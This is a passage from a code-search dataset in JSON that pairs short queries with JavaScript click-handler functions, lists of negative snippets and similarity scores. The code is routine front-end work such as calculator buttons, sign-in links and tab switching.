$values.style.display=\\\"block\\\";\\n for(j=0;j<=10;j++){\\n $number[j].addEventListener(\\\"click\\\",numberSelect);\\n }\\n for(m=0;m<=3;m++){\\n $operator[m].addEventListener(\\\"click\\\",operation);\\n }\\n $equals.addEventListener(\\\"click\\\",showAnswer);\\n $mPositive.addEventListener(\\\"click\\\",storeToMemory);\\n $mNegative.addEventListener(\\\"click\\\",removeFromMemory);\\n $mrc.addEventListener(\\\"click\\\",storedMemory);\\n }\\n else{\\n $values.style.display=\\\"none\\\";\\n $values.innerText=0;\\n numberIsClicked=false;\\n operatorIsClicked=false;\\n numberOfOperand=0;\\n equalsToIsClicked=false;\\n myoperator=\\\"\\\";\\n }\\n}\",\n \"function addClicks (int1) {\\n rockTotal += int1;\\n }\",\n \"clicked(x, y) {}\",\n \"function change_by_one(value, direction){\\n\\n var number = value.replace(/[^-\\\\d\\\\.]/g, '');\\n var unit = value.replace(number, '').trim();\\n\\n if(number == \\\"\\\") number = \\\"0\\\";\\n if(unit == \\\"\\\") unit = \\\"px\\\"; \\n\\n var newvalue = \\\"\\\";\\n\\n if(direction == \\\"plus\\\")\\n newvalue = Number(number) + 1; \\n else newvalue = Number(number) - 1; \\n\\n console.log(newvalue + \\\"\\\" +unit);\\n return newvalue+unit; \\n\\n alert(\\\"new value after click \\\"+ newvalue+unit);\\n }\",\n \"function getNum(n){\\n let screen = document.getElementById(\\\"screen\\\");\\n screen.value += n;\\n}\",\n \"function getNumber(count){\\n\\n\\t var num = document.getElementById(\\\"btn\\\");\\n alert(num.innerHTML);\\n alert (count);\\n}\",\n \"function _click(d){\\n \\n }\",\n \"function fromOctClicked(){colorFrom(3); fromOct = true, fromBin =false, fromDec = false, fromHex = false;}\",\n \"function buttons(idbutton) {\\n var value = idbutton.val();\\n $(idbutton).click(() => {\\n console.log(\\\"Puntos: \\\" + contpoint);\\n if(entry == null) {\\n entry.val(value);\\n } else if(entry.val().length >= 12) {\\n console.log(\\\"Esta full\\\");\\n } else if(value == \\\".\\\" && contpoint == 0) {\\n contpoint++;\\n entry.val(entry.val() + value);\\n } else if(value == \\\".\\\" && contpoint > 0) {\\n console.log(\\\"Hay mas de un punto\\\");\\n }\\n else {\\n entry.val(entry.val() + value);\\n }\\n $(idbutton).addClass(\\\"animated pulse\\\").one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', () => {\\n $(idbutton).removeClass(\\\"animated pulse\\\");\\n });\\n });\\n}\",\n \"function addClick(ind){\\n var elem = shapes[ind];\\n elem.addEventListener(\\\"click\\\", function(){\\n clicked += 1;\\n checkOrder(ind);\\n\\n });\\n }\",\n \"function SomaClickState() {\\n setState(stateValue = stateValue + 1); // Mesma coisa que isso state[1](stateValue);\\n // Por setState ser uma funcao ele temq ue ser escrito seu nome e parenteses\\n }\",\n \"function handleNumber(number) {\\n if (resultDisplay.innerText == '0' || operatorPressed) {\\n changeDisplay('');\\n operatorPressed = false;\\n }\\n resultDisplay.innerText += number;\\n}\",\n \"function clickToSum() {\\n\\tvar sum = 0;\\n\\tvar nums = document.getElementsByClassName(\\\"number\\\");\\n\\tvar bigButton = document.getElementsByClassName(\\\"info\\\")[0];\\n\\n\\tfor (var i = 0; i < nums.length; i++) {\\n\\t\\tsum += parseInt(nums[i].innerHTML);\\n\\t}\\n\\n\\tbigButton.getElementsByTagName(\\\"h2\\\")[0].appendChild(document.createTextNode(sum));\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7131207","0.7007308","0.6951292","0.6844245","0.68236154","0.6785539","0.6764145","0.67068475","0.66902304","0.66212386","0.65701467","0.6565539","0.6507141","0.6483116","0.6441663","0.63847923","0.6383678","0.63509285","0.6316498","0.6312572","0.63093907","0.62617254","0.6249654","0.6219076","0.61256856","0.6119096","0.61123574","0.60940564","0.603111","0.60231227","0.6001712","0.59867424","0.5984633","0.5984572","0.5983966","0.59804595","0.59698683","0.5966743","0.5951503","0.59353095","0.5932322","0.5928852","0.59286857","0.5928476","0.59198296","0.5915391","0.5915377","0.5905284","0.58984935","0.5893946","0.5889284","0.58698094","0.5863869","0.5860097","0.58464664","0.58461916","0.58415407","0.5839543","0.5820957","0.58150446","0.58066446","0.58011943","0.57853895","0.5777331","0.5777331","0.57765007","0.5774835","0.57676953","0.57670313","0.5761483","0.57516265","0.57507247","0.5748041","0.5741868","0.5732195","0.5731344","0.5728761","0.57133913","0.5710279","0.5706748","0.5702245","0.57019645","0.5693243","0.5692313","0.5690719","0.56894517","0.5684643","0.56791306","0.56778723","0.5671207","0.5668744","0.5663496","0.566273","0.5658428","0.5656604","0.56556857","0.56429654","0.5638859","0.5636795","0.56322515","0.5628458"],"string":"[\n \"0.7131207\",\n \"0.7007308\",\n \"0.6951292\",\n \"0.6844245\",\n \"0.68236154\",\n \"0.6785539\",\n \"0.6764145\",\n \"0.67068475\",\n \"0.66902304\",\n \"0.66212386\",\n \"0.65701467\",\n \"0.6565539\",\n \"0.6507141\",\n \"0.6483116\",\n \"0.6441663\",\n \"0.63847923\",\n \"0.6383678\",\n \"0.63509285\",\n \"0.6316498\",\n \"0.6312572\",\n \"0.63093907\",\n \"0.62617254\",\n \"0.6249654\",\n \"0.6219076\",\n \"0.61256856\",\n \"0.6119096\",\n \"0.61123574\",\n \"0.60940564\",\n \"0.603111\",\n \"0.60231227\",\n \"0.6001712\",\n \"0.59867424\",\n \"0.5984633\",\n \"0.5984572\",\n \"0.5983966\",\n \"0.59804595\",\n \"0.59698683\",\n \"0.5966743\",\n \"0.5951503\",\n \"0.59353095\",\n \"0.5932322\",\n \"0.5928852\",\n \"0.59286857\",\n \"0.5928476\",\n \"0.59198296\",\n \"0.5915391\",\n \"0.5915377\",\n \"0.5905284\",\n \"0.58984935\",\n \"0.5893946\",\n \"0.5889284\",\n \"0.58698094\",\n \"0.5863869\",\n \"0.5860097\",\n \"0.58464664\",\n \"0.58461916\",\n \"0.58415407\",\n \"0.5839543\",\n \"0.5820957\",\n \"0.58150446\",\n \"0.58066446\",\n \"0.58011943\",\n \"0.57853895\",\n \"0.5777331\",\n \"0.5777331\",\n \"0.57765007\",\n \"0.5774835\",\n \"0.57676953\",\n \"0.57670313\",\n \"0.5761483\",\n \"0.57516265\",\n \"0.57507247\",\n \"0.5748041\",\n \"0.5741868\",\n \"0.5732195\",\n \"0.5731344\",\n \"0.5728761\",\n \"0.57133913\",\n \"0.5710279\",\n \"0.5706748\",\n \"0.5702245\",\n \"0.57019645\",\n \"0.5693243\",\n \"0.5692313\",\n \"0.5690719\",\n \"0.56894517\",\n \"0.5684643\",\n \"0.56791306\",\n \"0.56778723\",\n \"0.5671207\",\n \"0.5668744\",\n \"0.5663496\",\n \"0.566273\",\n \"0.5658428\",\n \"0.5656604\",\n \"0.56556857\",\n \"0.56429654\",\n \"0.5638859\",\n \"0.5636795\",\n \"0.56322515\",\n \"0.5628458\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":38,"cells":{"query":{"kind":"string","value":"click al signo (+,/,,)"},"document":{"kind":"string","value":"function Sign(s){\r\nG_Numero1=document.getElementById(\"result\").value;\r\nG_Signo=s;\r\ndocument.getElementById(\"result\").value=\"\";\r\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["clickSignInLnk() {\n return this.SignInLnk.click();\n }","function signupLinkClick() {\n closeSigninClick();\n signupClick();\n}","clickOnSignInLink(){\n let signInLink = utils.byLocator(jobsPageLocator.jobsPage.SignInLink);\n utils.clickOn(signInLink);\n }","async clickSignIn() {\n await this.driver.findElement(By.css(SELECTORS.signIn)).click();\n }","function onClick () {\n navCur && navCur.click();\n }","@api\n click() {\n const anchor = this.emailAnchor;\n if (anchor && anchor.click) {\n anchor.click();\n }\n }","clickFacebook(){\n window.location.href=\"http://facebook.com\";\n }","click_extra() {\r\n }","function click(){\n document.getElementById(\"defaultOpen\").click();\n}","function emailIconClick() {\n\tlocation.href = \"mailto:mjdargen@gmail.com\";\n}","function twitKisminaTikla(){\n let nelerOluor = document.getElementsByClassName(\"public-DraftEditorPlaceholder-inner\");\n nelerOluor[0].click();\n\n}","function equalsClicked(key) {\r\n equalButton.click();\r\n}","click() { }","async clickSignUp() {\n await this.driver.findElement(By.css(SELECTORS.signUpButton)).click();\n }","function ClickGerarElite() {\n GeraElite();\n AtualizaGeral();\n}","function handleClick(event){\n console.log(\"Signing in\")\n}","function ClickGerarComum() {\n GeraComum();\n AtualizaGeral();\n}","function InventoryItemMouth2CupholderGagClick() {\n\tInventoryItemMouthCupholderGagClick();\n}","function operandClicked(key) {\r\n operatorButtons.forEach(operator => {\r\n if(operator.innerText === key) {\r\n operator.click();\r\n }\r\n })\r\n}","function signatureBoxFun() {\r\n if (!this.classList.contains('loading')) {\r\n const input = this.querySelector('#sign-upload');\r\n input.click();\r\n }\r\n}","function ClickGerarAleatorioElite() {\n GeraAleatorioElite();\n AtualizaGeral();\n}","function q(a){a.click(u).mousedown(Ta)}","goToSignupPage() {\n Linking.openURL('https://signup.sbaustralia.com');\n //Actions.signup();\n }","function trackSignupClick (e) {\n var buttonId = e.currentTarget.getAttribute('id');\n var pageId = document.querySelector('body').getAttribute('id');\n return window.client.trackExternalLink(e, 'signup_click', {id: buttonId, page: pageId});\n}","clickAddToCart() {\n return this\n .waitForElementVisible('@addToCartBtn')\n // .moveToElement('@addToCartBtn', 10, 10)\n .click('@addToCartBtn');\n }","function click(x, y)\n{\n //Do Nothing, prompt only command.\n}","function q(a){a.click(u).mousedown(V)}","function ativeBonusRound() {\n document.getElementsByClassName(\"start-button\")[0].click();\n }","function ClickAdicionarEscudo() {\n gEntradas.escudos.push({ chave: 'nenhum', obra_prima: false, bonus: 0 });\n AtualizaGeralSemLerEntradas();\n}","function accediLinkPop(){\n\tif (checkCustomLoginComUrl(LOGIN_COM_URL_TYPE.REG_URL))\n\t\treturn false;\n\talreadyRcsUser = false;\n\twaitingToLoad = false;\n\tBotAccetto = false;\n\tBotConcludi = false;\n\n\tcallOmnitureTracing('event2','COR/Accesso Network Corriere.it','Corriere');\n\tsocial_selected = null;\n\topenFBbox(context_ssi+\"boxes/community/login/accedi.shtml?\"+corriereDevice);\n}","function buyGym(){\n\t\t\tbuyClick(\"localgym\");\n\t\t}","async clickOnButton(string) {\n if (string == \"Work out how much I could borrow\") xpath = '[id=\"btnBorrowCalculater\"]';\n else if (string == \"Start over\") xpath = '[aria-label=\"Start over\"]';\n // click\n await this.page.click(xpath);\n }","function ClickGerarAleatorioComum() {\n GeraAleatorioComum();\n AtualizaGeral();\n}","function select() {\n getElements()[selection].getElementsByTagName('a')[0].click();\n\n}","function goto_social(element) {\n// var selected = element.id.replace('_goto_btn_', '');\n// var selected = element.id.substring(0, element.id.indexOf(\"_goto_btn_\"));\n// console.log(selected);\n var parent_grp_btn_id = element.id.replace('_goto_btn_', '_btn_group_');\n var sel_med_url = $('#' + parent_grp_btn_id).attr('url_value');\n if (sel_med_url.indexOf('google-plus') > -1) {\n sel_med_url = sel_med_url.replace('google-plus', 'googleplus');\n }\n window.open(sel_med_url, '_newtab');\n}","function buttonClicked(key) {\r\n numberButtons.forEach(number => {\r\n if(number.innerText === key) {\r\n number.click();\r\n }\r\n })\r\n}","function clickAssess() {\n\t$.trigger(\"clickAssess\");\n}","function ClickMe(e) {\n if (userjwt) {\n if (e.target.getAttribute('src') === 'https://img.icons8.com/android/24/ffffff/star.png') {\n e.target.setAttribute('src', 'https://img.icons8.com/ios-filled/25/ffffff/star--v1.png');\n } else if (e.target.getAttribute('src') === 'https://img.icons8.com/ios-filled/25/ffffff/star--v1.png') {\n e.target.setAttribute('src', 'https://img.icons8.com/android/24/ffffff/star.png');\n }\n }\n }","function clickme(){\n\n\t\talert('Hey, you clicked me!');\n\t}","function clickGithub() {\n\t$.ajax({\n\t\turl: '\\/login\\/github',\n\t\tmethod: 'GET'\n\t}).done(function(jsondata) {\n\t\tif (jsondata.redirect) {\n\t\t\twindow.location.href = jsondata.redirect;\n\t\t}\n\t});\n}","function openSign(evt, signName) {\n // Declare the variables\n var i, tabcontent, tablinks;\n\n // Retrieves and hides those elements with class \"tabcontent\"\n tabcontent = document.getElementsByClassName(\"tabcontent\");\n for (i = 0; i < tabcontent.length; i++) {\n tabcontent[i].style.display = \"none\";\n }\n\n // Retrieves those elements with class=\"tablinks\" and removes the class \"active\"\n tablinks = document.getElementsByClassName(\"tablinks\");\n for (i = 0; i < tablinks.length; i++) {\n tablinks[i].className = tablinks[i].className.replace(\" active\", \"\");\n }\n\n // Shows current tab, and gives button which opened that tab the class \"active\"\n document.getElementById(signName).style.display = \"block\";\n evt.currentTarget.className += \" active\";\n\n}","function scribblePoser() {\n\tvar $elt = $(\"#poser_chooser\");\n\t$elt.click();\n}","function clickme(){\r\n\t\t// this function includes an alert, or a pop-up box with the following text when the function is called.\r\n\t\talert('Hey, you clicked me!');\r\n\t}","register() {\n this.jquery(\"#register\").on(\"click\", function (event) {\n event.preventDefault();\n navigateTo(\"/sign\");\n });\n }","function cbox_key(e) {\n\t\tif (e.keyCode === 37) {\n\t\t\te.preventDefault();\n\t\t\t$prev.click();\n\t\t} else if (e.keyCode === 39) {\n\t\t\te.preventDefault();\n\t\t\t$next.click();\n\t\t}\n\t}","function clickElement(el) {\r\n\t/*var clickMouse = document.createEvent(\"MouseEvents\");\r\n\tclickMouse.initMouseEvent(\"click\", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);\r\n\tplaybutton.dispatchEvent(clickMouse);*/\r\n\tvar clickUI = document.createEvent(\"UIEvents\");\r\n\tclickUI.initUIEvent(\"click\", true, true, window, 1);\r\n\tel.dispatchEvent(clickUI);\r\n}","function loginCmd( proj ) {\n\tvar user = document.getElementById( 'loginUser' ).value; \n\tvar pass = document.getElementById( 'loginPass' ).value; \n\twindow.location.href=\"plus.php?action=2&user=\" + user + \n\t\"&pass=\"+ pass + \"&project=\" + proj ;\n}","function ClickHabilidadeEspecial() {\n // TODO da pra melhorar.\n AtualizaGeral();\n}","function o(a){a.click(p).mousedown(ka)}","function interaction1() {\n window.location.href = `https://amdevito.github.io/211/interact/index.html`;\n}","function clickme(){\n //the message in the pop up\n\t\talert('Hey, you clicked me!');\n\t}","function onCancelClick() {\n $.trigger('promptSignature:cancel_signature');\n}","function loginUgyldig() {\r\n Aliases.linkAuthorizationLogin.Click();\r\n\r\n let brukernavn = func.random(15) + \"@\" + func.random(7) + \".com\"\r\n let passord = func.random(8)\r\n loggInn(brukernavn, passord);\r\n\r\n //Sjekk om feilmelding kommer frem: \r\n aqObject.CheckProperty(Aliases.textnodeBeklagerViFantIngenMedDe, \"Visible\", cmpEqual, true);\r\n Aliases.linkHttpsTestOptimeraNo.Click();\r\n}","function lcom_RegOKCompleta(){\n\topenFBbox(context_ssi+\"boxes/community/login/verifica_ok_nomail.shtml\");\n}","function click_sanc()\r\n{\r\ndocument.getElementById('bountyForm').getElementsByClassName('btnMed btnBroadcast')[0].click();\r\n//click(document.getElementById('bountyForm').getElementsByClassName('btnMed btnBroadcast')[0]);\r\n}","function click1()\n{\n\tagreeLink1_valid = true;\n}","handleClick(){\n var urlBuilder = [];\n urlBuilder.push('response_type=code', `client_id=${config.google_client_id}`, `redirect_uri=${window.location.origin}/login/callback`, 'scope=profile email');\n const url = \"https://accounts.google.com/o/oauth2/v2/auth?\" + urlBuilder.join('&');\n // Open the popup window\n window.location.href = url;\n }","function handleClick() {\n\t\tpaymentsClient.loadPaymentData(getRequest()).then(function(paymentData){\n\t\t\tconst $data = paymentData.paymentMethodData.tokenizationData.token\n\t\t\tgpaytoken($data);\n\n\t\t}).catch(function(err){\n\t\t\tself.hide(err);\n\t\t});\n\n\t}","function asignarEventos() {\n _.click(function() {\n\n });\n}","function toSigns() {\n document.getElementById('keyboardMinus').style.display = \"none\";\n document.getElementById('keyboardMayus').style.display = \"none\";\n document.getElementById('keyboardNum').style.display = \"none\";\n document.getElementById('keyboardSymb').style.display = \"block\";\n document.getElementById('keyboardGif').style.display = \"none\";\n}","function bwClick(itemId) {\n $(itemId).click();\n}","handleJDotterClick() {}","function prim_click(e) {\n var user = document.querySelector('#select_value').value;\n browser.runtime.sendMessage({ 'name': 'set_change_card_for_site', 'user': user }, function (response) { });\n window.close();\n}","async click() {\n await t.click(selector);\n }","verCartelera(){\n browser.click('.btn.btnEnviar.btnVerCartelera')\n }","function trackShatnerBoxClick(result) {\n var s = s_gi(s_account);\n var txt = 'ShatnerBoxClick_' + result;\n s.trackExternalLinks = false;\n s.linkTrackVars = 'prop6,eVar6';\n s.tl(this, 'o', txt);\n}","function onClickFollow(){\n if(compname === \"\"){\n notification['warning']({\n message: 'Function Error',\n description:\n 'There is no company selected.',\n });\n }else{\n notification['success']({\n message: 'Operation Success',\n description:\n `${compname} has been added to the following list. `,\n });\n }\n }","function ClickAdicionarArmadura() {\n gEntradas.armaduras.push({ chave: 'nenhuma', obra_prima: false, bonus: 0 });\n AtualizaGeralSemLerEntradas();\n}","clickMyProfileLink() {\n return this.myProfileLink.click();\n }","click(x, y, _isLeftButton) {}","goToGithub() {\n window.location.href = \"https://github.com/kandrupr\"\n }","static addClickListenerOnPublisherSignInButton_() {\n self.document\n .getElementById(PUBLISHER_SIGN_IN_BUTTON_ID)\n .addEventListener('click', (e) => {\n e.preventDefault();\n\n callSwg((swg) => swg.triggerLoginRequest({linkRequested: false}));\n });\n }","function goTo(menuKey) {\n\t\t\tvar template = SUGGGET_ADPAYMENT;\n\t\t\tsetArParams(menuKey);\n\t\t\tsetIdCheckbox(menuKey);\n\t\t\tsetApParams(menuKey);\n\t\t\tpostal.publish({\n\t\t\t\tchannel: \"Tab\",\n\t\t\t\ttopic: \"open\",\n\t\t\t\tdata: template\n\t\t\t});\n\t\t}","function clickHandler(e) {\n // Nur bei Linksklick\n if (e.button !== 0) return;\n clickAt(e.offsetX, e.offsetY);\n }","function logClick() {\n ReactGA.event({\n category: 'Registration',\n action: 'Clicked Register Today',\n label: 'Challenge Text link',\n });\n}","function simulateclick(){\n\tdocument.getElementById('imagefiles').click();\n}","function openSignUp() {\n\tif (validateEmail()) {\n\t\tvar url = '/' + channel + '/Content.ice?page=Sign-Up-For-Fashion-News&pgForward=popup' + '&email=' + document.getElementById('email').value;\n open(url,'SignupForFashionNews','width=700,height=500');\n var tmp = open(url,'SignupForFashionNews','width=700,height=500');\n\t\ttmp.focus();\n\t}\n\treturn false;\n}","click() { // add click event\n app.quit();\n }","function handleAuthClick() {\n\tgapi.auth2.getAuthInstance().signIn().catch((ignore) => {});\n}","function handleAuthClick(event) {\n gapi.auth2.getAuthInstance().signIn();\n }","clickLoginButton() {\n this.loginButton.click();\n }","function clicksubmitskill(e) {\n if (e.keyCode == 13) {\n document.getElementById(\"submitskill\").click();\n return false;\n }\n return true;\n }","function click2()\n{\n\tagreeLink2_valid = true;\n}","function TakeLoginAction(e) {\n\n var enterkeyPressed = IsEnterKeyPressed(e);\n\n if (enterkeyPressed) {\n\n if (window.event) {\n event.returnValue = false;\n event.cancel = true;\n }\n else {\n e.returnValue = false;\n e.cancel = true;\n }\n\n var actionButton = GetActionButton(\"logonButton\");\n\n if (actionButton != null) {\n actionButton.click();\n }\n }\n}","function ClickGerarResumo() {\n AtualizaGeral(); // garante o preenchimento do personagem com tudo que ta na planilha.\n var input = Dom(\"resumo-personagem-2\");\n input.value = GeraResumo();\n input.focus();\n input.select();\n}","function click(el) {\n var ev = document.createEvent('MouseEvent');\n ev.initMouseEvent(\n 'click',\n true /* bubble */, true /* cancelable */,\n window, null,\n 0, 0, 0, 0, /* coordinates */\n false, false, false, false, /* modifier keys */\n 0 /*left*/, null\n );\n el.dispatchEvent(ev);\n }","function handleAuthClick(event) {\r\n gapi.auth2.getAuthInstance().signIn();\r\n}","function handleAuthClick(event) {\r\n gapi.auth2.getAuthInstance().signIn();\r\n}","clickCheckOutGreenTea() {\n this.clickElem(this.btnCheckOutGreenTea);\n }","function keywordsMsg(e)\n{\n var event = e || window.event;\n if(event.keyCode == 13)\n {\n $('#send').click(); \n }\n}","async cookieClicker() {\n let isPresent = await this.cookieButtonElement.isPresent();\n if (isPresent) {\n await this.cookieButtonElement.click();\n }\n }","function click(el){\n var ev = document.createEvent('MouseEvent');\n ev.initMouseEvent(\n 'click',\n true, true,\n window, null,\n 0, 0, 0, 0,\n false, false, false, false,\n 0, null\n );\n el.dispatchEvent(ev);\n}","function done(){\n iframes[0].querySelector(\"#InlineEditDialog_buttons > input:nth-child(1)\").click()\n }","function click(e) {\r\n\t\tif(!e && typeof e=='string') e=document.getElementById(e);\r\n\t\tif(!e) return;\r\n\t\tvar evObj = e.ownerDocument.createEvent('MouseEvents');\r\n\t\tevObj.initMouseEvent(\"click\",true,true,e.ownerDocument.defaultView,0,0,0,0,0,false,false,false,false,0,null);\r\n\t\te.dispatchEvent(evObj);\r\n\t}","function click(e) {\r\n\t\tif(!e && typeof e=='string') e=document.getElementById(e);\r\n\t\tif(!e) return;\r\n\t\tvar evObj = e.ownerDocument.createEvent('MouseEvents');\r\n\t\tevObj.initMouseEvent(\"click\",true,true,e.ownerDocument.defaultView,0,0,0,0,0,false,false,false,false,0,null);\r\n\t\te.dispatchEvent(evObj);\r\n\t}","function handleAuthClick(event) {\n\tgapi.auth2.getAuthInstance().signIn();\n}","function handleAuthClick(event) {\n\tgapi.auth2.getAuthInstance().signIn();\n}","function clickButtonEl(key) {\n numbersEl.forEach((button) => {\n if (button.innerText === key) {\n button.click();\n }\n });\n}","function signCon() {\n\t$(\"#sps\").click( function() {\n\t\t$(\"#signup\").slideToggle();\n\t})\n\t$(\"#spc\").click( function() {\n\t\t$(\"#settingsBox\").slideToggle();\n\t})\n\t$(\"#contactMeButton\").click( function() {\n\t\t$(\"#contactme\").slideToggle();\n\t})\n}","function onCallForwardingAutoPopupOkBtnClick() {\r\n callForwardingAutoToggleSwitch.click();\r\n }"],"string":"[\n \"clickSignInLnk() {\\n return this.SignInLnk.click();\\n }\",\n \"function signupLinkClick() {\\n closeSigninClick();\\n signupClick();\\n}\",\n \"clickOnSignInLink(){\\n let signInLink = utils.byLocator(jobsPageLocator.jobsPage.SignInLink);\\n utils.clickOn(signInLink);\\n }\",\n \"async clickSignIn() {\\n await this.driver.findElement(By.css(SELECTORS.signIn)).click();\\n }\",\n \"function onClick () {\\n navCur && navCur.click();\\n }\",\n \"@api\\n click() {\\n const anchor = this.emailAnchor;\\n if (anchor && anchor.click) {\\n anchor.click();\\n }\\n }\",\n \"clickFacebook(){\\n window.location.href=\\\"http://facebook.com\\\";\\n }\",\n \"click_extra() {\\r\\n }\",\n \"function click(){\\n document.getElementById(\\\"defaultOpen\\\").click();\\n}\",\n \"function emailIconClick() {\\n\\tlocation.href = \\\"mailto:mjdargen@gmail.com\\\";\\n}\",\n \"function twitKisminaTikla(){\\n let nelerOluor = document.getElementsByClassName(\\\"public-DraftEditorPlaceholder-inner\\\");\\n nelerOluor[0].click();\\n\\n}\",\n \"function equalsClicked(key) {\\r\\n equalButton.click();\\r\\n}\",\n \"click() { }\",\n \"async clickSignUp() {\\n await this.driver.findElement(By.css(SELECTORS.signUpButton)).click();\\n }\",\n \"function ClickGerarElite() {\\n GeraElite();\\n AtualizaGeral();\\n}\",\n \"function handleClick(event){\\n console.log(\\\"Signing in\\\")\\n}\",\n \"function ClickGerarComum() {\\n GeraComum();\\n AtualizaGeral();\\n}\",\n \"function InventoryItemMouth2CupholderGagClick() {\\n\\tInventoryItemMouthCupholderGagClick();\\n}\",\n \"function operandClicked(key) {\\r\\n operatorButtons.forEach(operator => {\\r\\n if(operator.innerText === key) {\\r\\n operator.click();\\r\\n }\\r\\n })\\r\\n}\",\n \"function signatureBoxFun() {\\r\\n if (!this.classList.contains('loading')) {\\r\\n const input = this.querySelector('#sign-upload');\\r\\n input.click();\\r\\n }\\r\\n}\",\n \"function ClickGerarAleatorioElite() {\\n GeraAleatorioElite();\\n AtualizaGeral();\\n}\",\n \"function q(a){a.click(u).mousedown(Ta)}\",\n \"goToSignupPage() {\\n Linking.openURL('https://signup.sbaustralia.com');\\n //Actions.signup();\\n }\",\n \"function trackSignupClick (e) {\\n var buttonId = e.currentTarget.getAttribute('id');\\n var pageId = document.querySelector('body').getAttribute('id');\\n return window.client.trackExternalLink(e, 'signup_click', {id: buttonId, page: pageId});\\n}\",\n \"clickAddToCart() {\\n return this\\n .waitForElementVisible('@addToCartBtn')\\n // .moveToElement('@addToCartBtn', 10, 10)\\n .click('@addToCartBtn');\\n }\",\n \"function click(x, y)\\n{\\n //Do Nothing, prompt only command.\\n}\",\n \"function q(a){a.click(u).mousedown(V)}\",\n \"function ativeBonusRound() {\\n document.getElementsByClassName(\\\"start-button\\\")[0].click();\\n }\",\n \"function ClickAdicionarEscudo() {\\n gEntradas.escudos.push({ chave: 'nenhum', obra_prima: false, bonus: 0 });\\n AtualizaGeralSemLerEntradas();\\n}\",\n \"function accediLinkPop(){\\n\\tif (checkCustomLoginComUrl(LOGIN_COM_URL_TYPE.REG_URL))\\n\\t\\treturn false;\\n\\talreadyRcsUser = false;\\n\\twaitingToLoad = false;\\n\\tBotAccetto = false;\\n\\tBotConcludi = false;\\n\\n\\tcallOmnitureTracing('event2','COR/Accesso Network Corriere.it','Corriere');\\n\\tsocial_selected = null;\\n\\topenFBbox(context_ssi+\\\"boxes/community/login/accedi.shtml?\\\"+corriereDevice);\\n}\",\n \"function buyGym(){\\n\\t\\t\\tbuyClick(\\\"localgym\\\");\\n\\t\\t}\",\n \"async clickOnButton(string) {\\n if (string == \\\"Work out how much I could borrow\\\") xpath = '[id=\\\"btnBorrowCalculater\\\"]';\\n else if (string == \\\"Start over\\\") xpath = '[aria-label=\\\"Start over\\\"]';\\n // click\\n await this.page.click(xpath);\\n }\",\n \"function ClickGerarAleatorioComum() {\\n GeraAleatorioComum();\\n AtualizaGeral();\\n}\",\n \"function select() {\\n getElements()[selection].getElementsByTagName('a')[0].click();\\n\\n}\",\n \"function goto_social(element) {\\n// var selected = element.id.replace('_goto_btn_', '');\\n// var selected = element.id.substring(0, element.id.indexOf(\\\"_goto_btn_\\\"));\\n// console.log(selected);\\n var parent_grp_btn_id = element.id.replace('_goto_btn_', '_btn_group_');\\n var sel_med_url = $('#' + parent_grp_btn_id).attr('url_value');\\n if (sel_med_url.indexOf('google-plus') > -1) {\\n sel_med_url = sel_med_url.replace('google-plus', 'googleplus');\\n }\\n window.open(sel_med_url, '_newtab');\\n}\",\n \"function buttonClicked(key) {\\r\\n numberButtons.forEach(number => {\\r\\n if(number.innerText === key) {\\r\\n number.click();\\r\\n }\\r\\n })\\r\\n}\",\n \"function clickAssess() {\\n\\t$.trigger(\\\"clickAssess\\\");\\n}\",\n \"function ClickMe(e) {\\n if (userjwt) {\\n if (e.target.getAttribute('src') === 'https://img.icons8.com/android/24/ffffff/star.png') {\\n e.target.setAttribute('src', 'https://img.icons8.com/ios-filled/25/ffffff/star--v1.png');\\n } else if (e.target.getAttribute('src') === 'https://img.icons8.com/ios-filled/25/ffffff/star--v1.png') {\\n e.target.setAttribute('src', 'https://img.icons8.com/android/24/ffffff/star.png');\\n }\\n }\\n }\",\n \"function clickme(){\\n\\n\\t\\talert('Hey, you clicked me!');\\n\\t}\",\n \"function clickGithub() {\\n\\t$.ajax({\\n\\t\\turl: '\\\\/login\\\\/github',\\n\\t\\tmethod: 'GET'\\n\\t}).done(function(jsondata) {\\n\\t\\tif (jsondata.redirect) {\\n\\t\\t\\twindow.location.href = jsondata.redirect;\\n\\t\\t}\\n\\t});\\n}\",\n \"function openSign(evt, signName) {\\n // Declare the variables\\n var i, tabcontent, tablinks;\\n\\n // Retrieves and hides those elements with class \\\"tabcontent\\\"\\n tabcontent = document.getElementsByClassName(\\\"tabcontent\\\");\\n for (i = 0; i < tabcontent.length; i++) {\\n tabcontent[i].style.display = \\\"none\\\";\\n }\\n\\n // Retrieves those elements with class=\\\"tablinks\\\" and removes the class \\\"active\\\"\\n tablinks = document.getElementsByClassName(\\\"tablinks\\\");\\n for (i = 0; i < tablinks.length; i++) {\\n tablinks[i].className = tablinks[i].className.replace(\\\" active\\\", \\\"\\\");\\n }\\n\\n // Shows current tab, and gives button which opened that tab the class \\\"active\\\"\\n document.getElementById(signName).style.display = \\\"block\\\";\\n evt.currentTarget.className += \\\" active\\\";\\n\\n}\",\n \"function scribblePoser() {\\n\\tvar $elt = $(\\\"#poser_chooser\\\");\\n\\t$elt.click();\\n}\",\n \"function clickme(){\\r\\n\\t\\t// this function includes an alert, or a pop-up box with the following text when the function is called.\\r\\n\\t\\talert('Hey, you clicked me!');\\r\\n\\t}\",\n \"register() {\\n this.jquery(\\\"#register\\\").on(\\\"click\\\", function (event) {\\n event.preventDefault();\\n navigateTo(\\\"/sign\\\");\\n });\\n }\",\n \"function cbox_key(e) {\\n\\t\\tif (e.keyCode === 37) {\\n\\t\\t\\te.preventDefault();\\n\\t\\t\\t$prev.click();\\n\\t\\t} else if (e.keyCode === 39) {\\n\\t\\t\\te.preventDefault();\\n\\t\\t\\t$next.click();\\n\\t\\t}\\n\\t}\",\n \"function clickElement(el) {\\r\\n\\t/*var clickMouse = document.createEvent(\\\"MouseEvents\\\");\\r\\n\\tclickMouse.initMouseEvent(\\\"click\\\", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);\\r\\n\\tplaybutton.dispatchEvent(clickMouse);*/\\r\\n\\tvar clickUI = document.createEvent(\\\"UIEvents\\\");\\r\\n\\tclickUI.initUIEvent(\\\"click\\\", 